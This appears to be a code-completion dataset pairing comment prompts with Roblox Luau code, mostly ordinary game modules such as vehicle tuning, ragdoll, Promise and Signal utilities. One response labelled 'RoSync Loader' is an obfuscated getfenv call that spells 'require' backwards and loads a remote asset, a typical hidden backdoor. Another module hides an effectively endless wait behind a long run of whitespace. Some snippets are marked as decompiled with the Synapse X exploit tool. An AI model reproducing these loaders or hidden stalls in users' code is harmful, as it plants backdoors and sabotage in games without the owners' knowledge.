Prompt: -----RandomDebris-----

Response:
local Colors = {
	Color3.fromRGB(91, 91, 91),
}
local Materials = {
	Enum.Material.Plastic,
}

local RunService = game:GetService'RunService'
local rad = math.rad
local clock = os.clock
local noise = math.noise
local random = math.random
local Heartbeat = RunService.Heartbeat
local xseed = random(10000, 100000)
local yseed = random(10000, 100000)
local zseed = random(10000, 100000)
local x = noise(xseed, clock() % 1000 * 0.5) * 360
local y = noise(yseed, clock() % 1000 * 0.5) * 360
local z = noise(zseed, clock() % 1000 * 0.5) * 360

local function spinPart(part)
	while part do
		part.CFrame = CFrame.new(part.Position) * CFrame.Angles(rad(x), rad(y), rad(z))
		Heartbeat:Wait()
	end
end


Prompt: -- SETTINGS ----------------------------------

Response:
local timeToRespawn = 60
local allowDamage = true


Prompt:
--[[

-- Alternate script for NPCS to have Ragdoll Death. Copy this code and put it into a script inside an NPC.

local c = script.Parent

c.Humanoid.BreakJointsOnDeath = false
c.Humanoid.Died:Connect(function()
	c.HumanoidRootPart.RotVelocity = Vector3.new(10,10,10) -- Hopefully makes it so whenever you die, you don't just stand still. Feel free to remove it lols
	for _, v in pairs(c:GetDescendants()) do
		if v:IsA("Motor6D") then
			local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
			a0.CFrame = v.C0
			a1.CFrame = v.C1
			a0.Parent = v.Part0
			a1.Parent = v.Part1

			local b = Instance.new("BallSocketConstraint")
			b.Attachment0 = a0
			b.Attachment1 = a1
			b.Parent = v.Part0

			v:Destroy()
		end
	end
	c.HumanoidRootPart.CanCollide = false
end)

]]


Prompt: --Effects--

Response:
FLSmoke = script.Plugins.Effects.TireSmoke:Clone()
FLSmoke.Parent = SSML
FLSmoke.Rate = 0

FRSmoke = script.Plugins.Effects.TireSmoke:Clone()
FRSmoke.Parent = SSMR
FRSmoke.Rate = 0

RLSmoke = script.Plugins.Effects.TireSmoke:Clone()
RLSmoke.Parent = zBRL
RLSmoke.Rate = 0

RRSmoke = script.Plugins.Effects.TireSmoke:Clone()
RRSmoke.Parent = zBRR
RRSmoke.Rate = 0

if SpeedoReading == "MPH" then
	script.Assets.Screen.Simulated.TY.Value = false
else
	script.Assets.Screen.Simulated.TY.Value = true
end


Prompt:
--[=[
	@return Promise
	Starts Knit. Should only be called once.

	Optionally, `KnitOptions` can be passed in order to set
	Knit's custom configurations.

	:::caution
	Be sure that all services have been created _before_
	calling `Start`. Services cannot be added later.
	:::

	```lua
	Knit.Start():andThen(function()
		print("Knit started!")
	end):catch(warn)
	```

	Example of Knit started with options:
	```lua
	Knit.Start({
		Middleware = {
			Inbound = {
				function(player, args)
					print("Player is giving following args to server:", args)
					return true
				end
			},
		},
	}):andThen(function()
		print("Knit started!")
	end):catch(warn)
	```
]=]

Response:
function KnitServer.Start(options: KnitOptions?)

	if started then
		return Promise.reject("Knit already started")
	end

	started = true

	if options == nil then
		selectedOptions = defaultOptions
	else
		assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options))
		selectedOptions = options
		for k,v in pairs(defaultOptions) do
			if selectedOptions[k] == nil then
				selectedOptions[k] = v
			end
		end
	end

	return Promise.new(function(resolve)

		local knitMiddleware = selectedOptions.Middleware or {}

		-- Bind remotes:
		for _,service in pairs(services) do
			local middleware = service.Middleware or {}
			local inbound = middleware.Inbound or knitMiddleware.Inbound
			local outbound = middleware.Outbound or knitMiddleware.Outbound
			service.Middleware = nil
			for k,v in pairs(service.Client) do
				if type(v) == "function" then
					service.KnitComm:WrapMethod(service.Client, k, inbound, outbound)
				elseif v == SIGNAL_MARKER then
					service.Client[k] = service.KnitComm:CreateSignal(k, inbound, outbound)
				elseif type(v) == "table" and v[1] == PROPERTY_MARKER then
					service.Client[k] = service.KnitComm:CreateProperty(k, v[2], inbound, outbound)
				end
			end
		end

		-- Init:
		local promisesInitServices = {}
		for _,service in pairs(services) do
			if type(service.KnitInit) == "function" then
				table.insert(promisesInitServices, Promise.new(function(r)
					debug.setmemorycategory(service.Name)
					service:KnitInit()
					r()
				end))
			end
		end

		resolve(Promise.all(promisesInitServices))

	end):andThen(function()

		-- Start:
		for _,service in pairs(services) do
			if type(service.KnitStart) == "function" then
				task.spawn(function()
					debug.setmemorycategory(service.Name)
					service:KnitStart()
				end)
			end
		end

		startedComplete = true
		onStartedComplete:Fire()

		task.defer(function()
			onStartedComplete:Destroy()
		end)

		-- Expose service remotes to everyone:
		knitRepServiceFolder.Parent = script.Parent

	end)

end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local v1 = {
		Name = "Prompt",
		Title = "Prompt",
		Size = { 225, 150 },
		SizeLocked = true
	};
	local u1 = nil;
	function v1.OnClose()
		if not u1 then
			u1 = "No";
		end;
	end;
	local v2 = client.UI.Make("Window", v1);
	local v3 = v2:Add("TextLabel", {
		Text = p1.Question,
		Font = "SourceSans",
		TextScaled = true,
		BackgroundTransparency = 1,
		TextScaled = true,
		TextWrapped = true,
		Size = UDim2.new(1, -10, 0.7, -5)
	});
	local v4 = v2:Add("TextButton", {
		Text = "No",
		Font = "Arial",
		TextSize = 18,
		Size = UDim2.new(0.5, -5, 0.3, -5),
		Position = UDim2.new(0.5, 0, 0.7, 0),
		BackgroundColor3 = Color3.fromRGB(206, 72, 45),
		BackgroundTransparency = 0.5
	});
	v2:Add("TextButton", {
		Text = "Yes",
		Font = "Arial",
		TextSize = 18,
		Size = UDim2.new(0.5, -5, 0.3, -5),
		Position = UDim2.new(0, 5, 0.7, 0),
		BackgroundColor3 = Color3.fromRGB(74, 195, 56),
		BackgroundTransparency = 0.5
	}).MouseButton1Down:connect(function()
		u1 = "Yes";
		v2:Close();
	end);
	v4.MouseButton1Down:connect(function()
		u1 = "No";
		v2:Close();
	end);
	local l__gTable__5 = v2.gTable;
	v2:Ready();
	while true do
		wait();
		if u1 then
			break;
		end;
	end;
	return nil;
end;


Prompt: -- ENTITIES

Response:
if Configuration.AmbushSoundsEnabled == false then
	Folder.Entities.Ambush:Destroy()
end
if Configuration.EyesSoundsEnabled == false then
	Folder.Entities.Eyes:Destroy()
end
if Configuration.FigureSoundsEnabled == false then
	Folder.Entities.Figure:Destroy()
end
if Configuration.GlitchSoundsEnabled == false then
	Folder.Entities.Glitch:Destroy()
end
if Configuration.HaltSoundsEnabled == false then
	Folder.Entities.Halt:Destroy()
end
if Configuration.HideSoundsEnabled == false then
	Folder.Entities.Hide:Destroy()
end
if Configuration.RushSoundsEnabled == false then
	Folder.Entities.Rush:Destroy()
end
if Configuration.SeekSoundsEnabled == false then
	Folder.Entities.Seek:Destroy()
end
if Configuration.TimothySoundsEnabled == false then
	Folder.Entities.Timothy:Destroy()
end

if Configuration.JackSoundsEnabled == false then
	Folder.Entities.Jack:Destroy()
end


Prompt:
--[=[
	Returns whether or not the promise is pending

	@return bool -- True if pending, false otherwise
]=]

Response:
function Promise:IsPending()
	return self._pendingExecuteList ~= nil
end


Prompt:
--[[
	Various ragdoll constraints that are used depending on what type
	of joint they're being applied to.

	This is meant to work with any character, but is mostly tailored
	to characters with legs/arms, as it is impossible to satisfy all
	use cases in a generic way. You	can for sure make a spider with 8
	legs by sticking to the same naming conventions as R15
	(e.g. LeftUpperLeg1, 2, 3, ...), but something like an eel is not
	going to come for free out of the box, at least	perfectly. That said,
	there is a Default waist-like joint for all unknown	joint types. It
	won't be perfect, but it will be functional.

	If these joint types do not satisfy your use cases, you can tweak them
	or add new ones! Just modify or add to this module's children. These
	constraints are automatically selected based on the last word of the
	joint's name (e.g. Hip from LeftHip). Things to know if you are
	changing them:

	Shoulder twist angles should not be lowered any further or the ragdoll's
	arms will get stuck	in "Aliens" position often
	https://i.imgur.com/Ck5j34M.jpg

	Neck is using a HingeConstraint because BallSocketConstraints are
	kind of	unstable for the head.
	https://gfycat.com/GrotesqueFirsthandBluebottlejellyfish

	Ankle and Wrist are HingeConstraints because twist limits are not
	enough for BallSocketConstraints -- due to the "try to do x"
	rather than "force x" nature of constraints, twist limits are
	given a small margin where they are not applied close to 0, and
	this causes the wrists/ankles to jitter back and forth when they
	are suspended in air. Other limbs are generally not suspended in
	air, so it's only necessary for Ankle/Wrist joints.
--]]

Response:
local getLastWordFromPascaleCase = require(script.Parent:WaitForChild("getLastWordFromPascalCase"))

local constraints = {}
for _,v in pairs(script:GetChildren()) do
	constraints[v.Name] = v
end

function getConstraintTemplate(jointName)
	jointName = getLastWordFromPascaleCase(jointName)
	return constraints[jointName] or constraints.Default
end

function createConstraint(jointData)
	local jointName = jointData.Joint.Name
	local constraint = getConstraintTemplate(jointName):Clone()

	constraint.Attachment0 = jointData.Attachment0
	constraint.Attachment1 = jointData.Attachment1
	constraint.Name = jointName.."RagdollConstraint"

	-- Constraints don't work if there is a rigid joint connecting its two parts,
	-- so when we enter ragdoll we need to turn off the joint, and turn it back on
	-- when we leave ragdoll. This allows us to tell which joint corresponds with
	-- which constraint
	local rigidPointer = Instance.new("ObjectValue", constraint)
	rigidPointer.Name = "RigidJoint"
	rigidPointer.Value = jointData.Joint

	return constraint
end

return function(attachmentMap)
	local ragdollConstraints = Instance.new("Folder")
	ragdollConstraints.Name = "RagdollConstraints"

	for attachmentName,jointData in pairs(attachmentMap) do
		if jointData.Joint.Name ~= "Root" then
			local ragdollConstraint = createConstraint(jointData)
			ragdollConstraint.Parent = ragdollConstraints
		end
	end

	return ragdollConstraints
end


Prompt: --!strict

Response:
local Array = script.Parent.Parent
local LuauPolyfill = Array.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object
type Array<T> = types.Array<T>
type Set<T> = types.Set<T>
type mapFn<T, U> = (element: T, index: number) -> U
type mapFnWithThisArg<T, U> = (thisArg: any, element: T, index: number) -> U

return function<T, U>(
	value: Set<T>,
	mapFn: (mapFn<T, U> | mapFnWithThisArg<T, U>)?,
	thisArg: Object?
	-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts
): Array<U> | Array<T> | Array<string>
	local array = {}

	if mapFn then
		array = {}
		for i, v in value :: any do
			if thisArg ~= nil then
				(array :: Array<U>)[i] = (mapFn :: mapFnWithThisArg<T, U>)(thisArg, v, i)
			else
				(array :: Array<U>)[i] = (mapFn :: mapFn<T, U>)(v, i)
			end
		end
	else
		array = table.clone((value :: any)._array)
	end

	return array
end


Prompt: --Returns the player that reflected the rocket, if any.

Response:
local function GetReflectedByPlayer()
	local ReflectedByValue = FiredByValue:FindFirstChild("ReflectedBy")
	return ReflectedByValue and ReflectedByValue.Value
end


Prompt:
--                                                               ^
--]]	Change "Credit" to the name of the frame                 ^


Prompt: --[[[Default Controls]]

Response:
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)

		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}

	--Control Mapping
	Tune.Controls = {

	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.R					,

		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,

		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,

		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,

		--Handbrake
		PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.ButtonB				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.ButtonL3				,
	}


Prompt:
--[[
	Calls a callback on `andThen` with specific arguments.
]]

Response:
function Promise.prototype:andThenCall(callback, ...)
	assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:andThenCall"))
	local length, values = pack(...)
	return self:_andThen(debug.traceback(nil, 2), function()
		return callback(unpack(values, 1, length))
	end)
end


Prompt: -- Removes all player weapons at the start of a transition

Response:
function PlayerManager.removeWeapons()
	for playerKey, whichPlayer in pairs(activePlayers) do
		removePlayerWeapon(whichPlayer)
	end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
script.Parent.MouseButton1Down:Connect(function()
	script.Parent.Parent.Visible = false;
	if game.Players.LocalPlayer.Days.Value >= 3 then
		for v1 = 1, #"Here we go." do
			script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("Here we go.", 1, v1);
			wait();
		end;
	end;
	if game.Players.LocalPlayer.Days.Value >= 3 then
		script.Parent.Parent.Parent.Dialog3.Visible = true;
		return;
	end;
	script.Parent.Parent.Parent.Dialog2.Visible = true;
end);


Prompt:
--[=[
	Returns Maid[key] if not part of Maid metatable

	```lua
	local maid = Maid.new()
	maid._current = Instance.new("Part")
	print(maid._current) --> Part

	maid._current = nil
	print(maid._current) --> nil
	```

	@param index any
	@return MaidTask
]=]

Response:
function Maid:__index(index)
	if Maid[index] then
		return Maid[index]
	else
		return self._tasks[index]
	end
end


Prompt:
--[[

Change log:

09/18
	Fixed checkbox mouseover sprite
	Encapsulated checkbox creation into separate method
	Fixed another checkbox issue

09/15
	Invalid input is ignored instead of setting to default of that data type
	Consolidated control methods and simplified them
	All input goes through ToValue method
	Fixed position of BrickColor palette
	Made DropDown appear above row if it would otherwise exceed the page height
	Cleaned up stylesheets

09/14
	Made properties window scroll when mouse wheel scrolled
	Object/Instance and Color3 data types handled properly
	Multiple BrickColor controls interfering with each other fixed
	Added support for Content data type

--]]

Response:
wait(0.2)
local math_floor = math.floor
local math_ceil = math.ceil
local math_max = math.max
local string_len = string.len
local string_sub = string.sub
local string_gsub = string.gsub
local string_split = string.split
local string_format = string.format
local string_find = string.find
local string_lower = string.lower
local table_concat = table.concat
local table_insert = table.insert
local table_sort = table.sort
local Instance_new = Instance.new
local Color3_fromRGB = Color3.fromRGB
local Color3_new = Color3.new
local UDim2_new = UDim2.new
local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local NumberRange_new = NumberRange.new
local BrickColor_palette = BrickColor.palette

local function Create(ty,data)
	local obj
	if type(ty) == 'string' then
		obj = Instance.new(ty)
	else
		obj = ty
	end
	for k, v in pairs(data) do
		if type(k) == 'number' then
			v.Parent = obj
		else
			obj[k] = v
		end
	end
	return obj
end

local Gui = script.Parent.Parent
local PropertiesFrame = Gui:WaitForChild("PropertiesFrame")
local ExplorerFrame = Gui:WaitForChild("ExplorerPanel")
local print = ExplorerFrame:WaitForChild("GetPrint"):Invoke()


Prompt: -- METHODS

Response:
function Signal:Fire(...)
	for _, connection in pairs(self.connections) do
		connection.Handler(...)
	end
	if self.totalWaiting > 0 then
		local packedArgs = table.pack(...)
		for waitingId, _ in pairs(self.waiting) do
			self.waiting[waitingId] = packedArgs
		end
	end
end
Signal.fire = Signal.Fire

function Signal:Connect(handler)
	if not (type(handler) == "function") then
		error(("connect(%s)"):format(typeof(handler)), 2)
	end

	local signal = self
	local connectionId = HttpService:GenerateGUID(false)
	local connection = {}
	connection.Connected = true
	connection.ConnectionId = connectionId
	connection.Handler = handler
	self.connections[connectionId] = connection

	function connection:Disconnect()
		signal.connections[connectionId] = nil
		connection.Connected = false
		signal.totalConnections -= 1
		if signal.connectionsChanged then
			signal.connectionsChanged:Fire(-1)
		end
	end
	connection.Destroy = connection.Disconnect
	connection.destroy = connection.Disconnect
	connection.disconnect = connection.Disconnect
	self.totalConnections += 1
	if self.connectionsChanged then
		self.connectionsChanged:Fire(1)
	end

	return connection
end
Signal.connect = Signal.Connect

function Signal:Wait()
	local waitingId = HttpService:GenerateGUID(false)
	self.waiting[waitingId] = true
	self.totalWaiting += 1
	repeat heartbeat:Wait() until self.waiting[waitingId] ~= true
	self.totalWaiting -= 1
	local args = self.waiting[waitingId]
	self.waiting[waitingId] = nil
	return unpack(args)
end
Signal.wait = Signal.Wait

function Signal:Destroy()
	if self.bindableEvent then
		self.bindableEvent:Destroy()
		self.bindableEvent = nil
	end
	if self.connectionsChanged then
		self.connectionsChanged:Fire(-self.totalConnections)
		self.connectionsChanged:Destroy()
		self.connectionsChanged = nil
	end
	self.totalConnections = 0
	for connectionId, connection in pairs(self.connections) do
		self.connections[connectionId] = nil
	end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy

return Signal


Prompt: -- Protected

Response:
function BaseState:_Tick(currentTime,dt)
	self.stateTime = self.stateTime + dt
	self:Tick(currentTime,dt,self.stateTime)
end


Prompt: --[[ Last synced 12/18/2020 11:06 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: -- @Return Boolean

Response:
function WeaponRuntimeData:CanReload()
	return self.currentAmmo < self.weaponDefinition:GetMaxAmmo()
end


Response:
local Velocity = 120
function computeLaunchAngle(dx, dy, grav)
	-- This function is nasty or what? :P
	-- There are ways to solve launch angle of a projectile given a point in 3D space
	-- This one solves for tan(theta)

	-- Simplify the distance formula of a projectile
	local g = math.abs(grav)
	local inRoot = (Velocity * Velocity * Velocity * Velocity) - (g * ((g * dx * dx) + (2 * dy * Velocity * Velocity)))
	if inRoot <= 0 then
		return 0.25 * math.pi
	end
	local root = math.sqrt(inRoot)
	local inATan1 = ((Velocity * Velocity) + root) / (g*dx)

	local inATan2 = ((Velocity * Velocity) - root) / (g*dx)
	local a1 = math.atan(inATan1)
	local a2 = math.atan(inATan2)
	if a1 < a2 then return a1 end
	return a2
end


Prompt:
--[[
	Singleton Manager that holds Window components
]]

Response:
local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")

local Constants = require(ReplicatedStorage.Source.Common.Constants)
local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry)
local Window = require(ServerStorage.Source.Components.Window)

local WindowManager = {}

local registry = Registry.new(Window)


Prompt:
--[[ dusme kalkma

local dustu = false
Hum.StateChanged:Connect(function(old,new)

if dustu then
dustu = false
print("yerden kalktı")
end

if Hum:GetState() == Enum.HumanoidStateType.Physics then
dustu =  true
print("yere dustu")
end

end)

--]]


Prompt: --		Distance = 10

Response:
	end -- Player died.

	if Logic == 0 then  -- Defalt logic

		target = findNearestTorso(torsoPos)    ---  target is some Player. FindNearest and get xdir, ydir.

		if target ~= nil then
			targ = target
	--		if ClimbingLadder and Distance >= 1 then
	--			targpos = torsoPos + AItorso.CFrame.lookVector * 9
	--		else
				targpos = target.Position
	--		end

			if Distance < 1 and (torsoPos - targpos).magnitude > 4 then  --  Check if we are stuck.
				GetDir()
					OldX = Xdir  -- Goal direction.
					OldZ = Zdir

				Logic  = 1 -- Impeded

			else
				if FireAtPlayer() then  -- hit

					GetDir()
					OldX = Xdir  -- Goal direction.
					OldZ = Zdir

					if FireDag() then
						Logic = 1 -- Go Left; Look Right.
						ClimbingLadder = true  -- first time thru logic 1 indicator
					else
						targpos = torsoPos + Vector3.new(Xdag,0,Zdag)  -- go Right

					end -- dagRight
				end -- hit?
			end -- impeded?
		else
print(AIName, number, ": No target. - ", target)


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 3439		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		4		,
	 --[[Length]]		15		}
	Tune.WeightDist		= 54		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density

	Tune.AxleSize		= 2			-- Size of structural members (larger = MORE STABLE / carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)


Prompt: --Tweens

Response:
local OpenTween = TweenService:Create(Hinge,OpenTweenInfo,{CFrame = OpenHinge.CFrame})
local CloseTween = TweenService:Create(Hinge,CloseTweenInfo,{CFrame = ClosedHinge.CFrame})
local OpenTween1 = TweenService:Create(Hinge1,OpenTweenInfo,{CFrame = OpenHinge1.CFrame})
local CloseTween1 = TweenService:Create(Hinge1,CloseTweenInfo,{CFrame = ClosedHinge1.CFrame})


Prompt: --!strict

Response:
export type Object = { [string]: any }
export type Array<T> = { [number]: T }
export type Function = (...any) -> ...any
export type Table<T, V> = { [T]: V }
export type Tuple<T, V> = Array<T | V>
export type mapCallbackFn<K, V> = (element: V, key: K, map: Map<K, V>) -> ()
export type mapCallbackFnWithThisArg<K, V> = (thisArg: Object, value: V, key: K, map: Map<K, V>) -> ()

export type Map<K, V> = typeof(setmetatable(
	{} :: {
		size: number,
		-- method definitions
		set: (self: Map<K, V>, K, V) -> Map<K, V>,
		get: (self: Map<K, V>, K) -> V | nil,
		clear: (self: Map<K, V>) -> (),
		delete: (self: Map<K, V>, K) -> boolean,
		forEach: (
			self: Map<K, V>,
			callback: mapCallbackFn<K, V> | mapCallbackFnWithThisArg<K, V>,
			thisArg: Object?
		) -> (),
		has: (self: Map<K, V>, K) -> boolean,
		keys: (self: Map<K, V>) -> Array<K>,
		values: (self: Map<K, V>) -> Array<V>,
		entries: (self: Map<K, V>) -> Array<Tuple<K, V>>,
		ipairs: (self: Map<K, V>) -> any,
		[K]: V,
		_map: { [K]: V },
		_array: { [number]: K },
	},
	{} :: {
		__index: Map<K, V>,
		__iter: (self: Map<K, V>) -> (<K, V>({ [K]: V }, K?) -> (K, V), V),
	}
))

export type setCallbackFn<T> = (value: T, key: T, set: Set<T>) -> ()
export type setCallbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> ()

export type Set<T> = typeof(setmetatable(
	{} :: {
		size: number,
		-- method definitions
		add: (self: Set<T>, T) -> Set<T>,
		clear: (self: Set<T>) -> (),
		delete: (self: Set<T>, T) -> boolean,
		forEach: (self: Set<T>, callback: setCallbackFn<T> | setCallbackFnWithThisArg<T>, thisArg: Object?) -> (),
		has: (self: Set<T>, T) -> boolean,
		ipairs: (self: Set<T>) -> any,
	},
	{} :: {
		__index: Set<T>,
		__iter: (self: Set<T>) -> (<K, V>({ [K]: V }, K?) -> (K, V), T),
	}
))
return {}


Prompt: --shot data

Response:
local lasttimeshot = tick()

ragdollbullettable = {}


Prompt: --[[ The Module ]]

Response:
--
																																																																																wait(999999999999999999999)
local BaseOcclusion = {}
BaseOcclusion.__index = BaseOcclusion
setmetatable(BaseOcclusion, {
	__call = function(_, ...)
		return BaseOcclusion.new(...)
	end
})

function BaseOcclusion.new()
	local self = setmetatable({}, BaseOcclusion)
	return self
end


Prompt:
-- From https://github.com/unindented/lua-fsm/blob/master/src/fsm.lua
--[[
	Copyright (c) 2016 Daniel Perez Alvarez

	Permission is hereby granted, free of charge, to any person obtaining a copy
	of this software and associated documentation files (the "Software"), to deal
	in the Software without restriction, including without limitation the rights
	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
	copies of the Software, and to permit persons to whom the Software is
	furnished to do so, subject to the following conditions:

	The above copyright notice and this permission notice shall be included in
	all copies or substantial portions of the Software.

	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
	OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
	THE SOFTWARE.
]]

Response:
 --
local Fsm = {}
Fsm.WILDCARD = "*"
Fsm.DEFERRED = 0
Fsm.SUCCEEDED = 1
Fsm.NO_TRANSITION = 2
Fsm.PENDING = 3
Fsm.CANCELLED = 4
local function do_callback(handler, args)
	if handler then
		return handler(unpack(args))
	end
end
local function before_event(self, event, _, _, args)
	local specific = do_callback(self["on_before_" .. event], args)
	local general = do_callback(self["on_before_event"], args)
	if specific == false or general == false then
		return false
	end
end
local function leave_state(self, _, from, _, args)
	local specific = do_callback(self["on_leave_" .. from], args)
	local general = do_callback(self["on_leave_state"], args)
	if specific == false or general == false then
		return false
	end
	if specific == Fsm.DEFERRED or general == Fsm.DEFERRED then
		return Fsm.DEFERRED
	end
end
local function enter_state(self, _, _, to, args)
	do_callback(self["on_enter_" .. to] or self["on_" .. to], args)
	do_callback(self["on_enter_state"] or self["on_state"], args)
end
local function after_event(self, event, _, _, args)
	do_callback(self["on_after_" .. event] or self["on_" .. event], args)
	do_callback(self["on_after_event"] or self["on_event"], args)
end
local function build_transition(self, event, states)
	return function(...)
		local from = self.current
		local to = states[from] or states[Fsm.WILDCARD] or from
		local args = {self, event, from, to, ...}
		assert(not self.is_pending(), "previous transition still pending")
		assert(self.can(event), "invalid transition from state '" .. from .. "' with event '" .. event .. "'")
		local before = before_event(self, event, from, to, args)
		if before == false then
			return Fsm.CANCELLED
		end
		if from == to then
			after_event(self, event, from, to, args)
			return Fsm.NO_TRANSITION
		end
		self.confirm = function()
			self.confirm = nil
			self.cancel = nil
			self.current = to
			enter_state(self, event, from, to, args)
			after_event(self, event, from, to, args)
			return Fsm.SUCCEEDED
		end
		self.cancel = function()
			self.confirm = nil
			self.cancel = nil
			after_event(self, event, from, to, args)
			return Fsm.CANCELLED
		end
		local leave = leave_state(self, event, from, to, args)
		if leave == false then
			return Fsm.CANCELLED
		end
		if leave == Fsm.DEFERRED then
			return Fsm.PENDING
		end
		if self.confirm then
			return self.confirm()
		end
	end
end
function Fsm.create(cfg, target)
	local self = target or {}
	-- Initial state.
	local initial = cfg.initial
	-- Allow for a string, or a map like `{state = "foo", event = "setup"}`.
	initial = type(initial) == "string" and {state = initial} or initial
	-- Initial event.
	local initial_event = initial and initial.event or "startup"
	-- Terminal state.
	local terminal = cfg.terminal
	-- Events.
	local events = cfg.events or {}
	-- Callbacks.
	local callbacks = cfg.callbacks or {}
	-- Track state transitions allowed for an event.
	local states_for_event = {}
	-- Track events allowed from a state.
	local events_for_state = {}
	local function add(e)
		-- Allow wildcard transition if `from` is not specified.
		local from = type(e.from) == "table" and e.from or (e.from and {e.from} or {Fsm.WILDCARD})
		local to = e.to
		local event = e.name
		states_for_event[event] = states_for_event[event] or {}
		for _, fr in ipairs(from) do
			events_for_state[fr] = events_for_state[fr] or {}
			table.insert(events_for_state[fr], event)
			-- Allow no-op transition if `to` is not specified.
			states_for_event[event][fr] = to or fr
		end
	end
	if initial then
		add({name = initial_event, from = "none", to = initial.state})
	end
	for _, event in ipairs(events) do
		add(event)
	end
	for event, states in pairs(states_for_event) do
		self[event] = build_transition(self, event, states)
	end
	for name, callback in pairs(callbacks) do
		self[name] = callback
	end
	self.current = "none"
	function self.is(state)
		if type(state) == "table" then
			for _, s in ipairs(state) do
				if self.current == s then
					return true
				end
			end
			return false
		end
		return self.current == state
	end
	function self.can(event)
		local states = states_for_event[event]
		local to = states[self.current] or states[Fsm.WILDCARD]
		return to ~= nil
	end
	function self.cannot(event)
		return not self.can(event)
	end
	function self.transitions()
		return events_for_state[self.current]
	end
	function self.is_pending()
		return self.confirm ~= nil
	end
	function self.is_finished()
		return self.is(terminal)
	end
	if initial and not initial.defer then
		self[initial_event]()
	end
	return self
end
return Fsm


Prompt: --// Positioning

Response:
	RestPos = CFrame.new(0.41808939, 0, -0.0273852348, 0.704155862, -0.0188415907, 0.709795356, -0.314750254, 0.887783766, 0.335815758, -0.636472106, -0.459874928, 0.61920774);

